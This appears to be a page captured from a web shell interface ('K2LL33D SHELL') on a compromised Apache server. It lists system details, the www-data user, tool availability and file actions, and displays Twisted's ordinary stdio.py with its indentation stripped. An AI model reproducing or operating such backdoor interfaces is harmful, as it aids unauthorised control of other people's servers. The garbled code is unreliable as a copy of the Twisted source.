K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / lib / python2.7 / dist-packages / twisted / internet /
server ip : 172.67.156.115

your ip : 172.70.127.117

H O M E


Filename/usr/lib/python2.7/dist-packages/twisted/internet/stdio.py
Size996
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:56
Last modified28-Jun-2012 23:47
Last accessed07-Jul-2025 02:03
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
# -*- test-case-name: twisted.test.test_stdio -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Standard input/out/err support.

This module exposes one name, StandardIO, which is a factory that takes an
IProtocol provider as an argument. It connects that protocol to standard input
and output on the current process.

It should work on any UNIX and also on Win32 (with some caveats: due to
platform limitations, it will perform very poorly on Win32).

Future Plans::

support for stderr, perhaps
Rewrite to use the reactor instead of an ad-hoc mechanism for connecting
protocols to transport.


Maintainer: James Y Knight
"""

from twisted.python.runtime import platform

if platform.isWindows():
from twisted.internet import _win32stdio
StandardIO = _win32stdio.StandardIO
PipeAddress = _win32stdio.Win32PipeAddress

else:
from twisted.internet._posixstdio import StandardIO, PipeAddress

__all__ = ['StandardIO', 'PipeAddress']